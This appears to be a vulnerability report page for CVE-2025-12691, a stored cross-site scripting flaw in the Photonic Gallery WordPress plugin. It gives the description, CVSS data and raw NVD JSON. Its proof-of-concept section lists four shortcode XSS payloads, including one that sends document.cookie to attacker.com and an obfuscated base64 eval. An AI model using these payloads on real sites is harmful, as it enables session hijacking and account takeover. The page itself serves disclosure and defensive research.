Security Vulnerability Report
中文
CVE-2025-12691 CVSS 6.4 MEDIUM

CVE-2025-12691

Published: 2025-11-18 10:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Photonic Gallery & Lightbox for Flickr, SmugMug & Others plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's lightbox functionality in all versions up to, and including, 3.21 due to insufficient input sanitization and output escaping on user supplied caption attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Photonic Gallery & Lightbox plugin for WordPress <= 3.21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress Photonic Plugin XSS PoC --> <!-- 要求:具有Contributor角色权限 --> <!-- 方法1:通过短代码注入 --> [gallery type='flickr' view='photo' object_ids='12345678@N00' caption='<img src=x onerror=alert(document.cookie)>'] <!-- 方法2:通过SmugMug类型注入 --> [gallery type='smugmug' view='photo' caption='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- 方法3:绕过过滤的payload --> [gallery type='flickr' view='photo' object_ids='12345678@N00' caption='" onmouseover="alert(1)" data-x="'] <!-- 方法4:利用data-title属性 --> [gallery type='flickr' view='slideshow' object_ids='12345678@N00' data_caption='<svg onload=eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))>']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12691", "sourceIdentifier": "[email protected]", "published": "2025-11-18T10:15:48.487", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Photonic Gallery & Lightbox for Flickr, SmugMug & Others plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's lightbox functionality in all versions up to, and including, 3.21 due to insufficient input sanitization and output escaping on user supplied caption attribute. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3392284%40photonic&old=3336902%40photonic&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9f21f4a4-4b50-4396-8d94-26d68c0eb3a3?source=cve", "source": "[email protected]"}]}}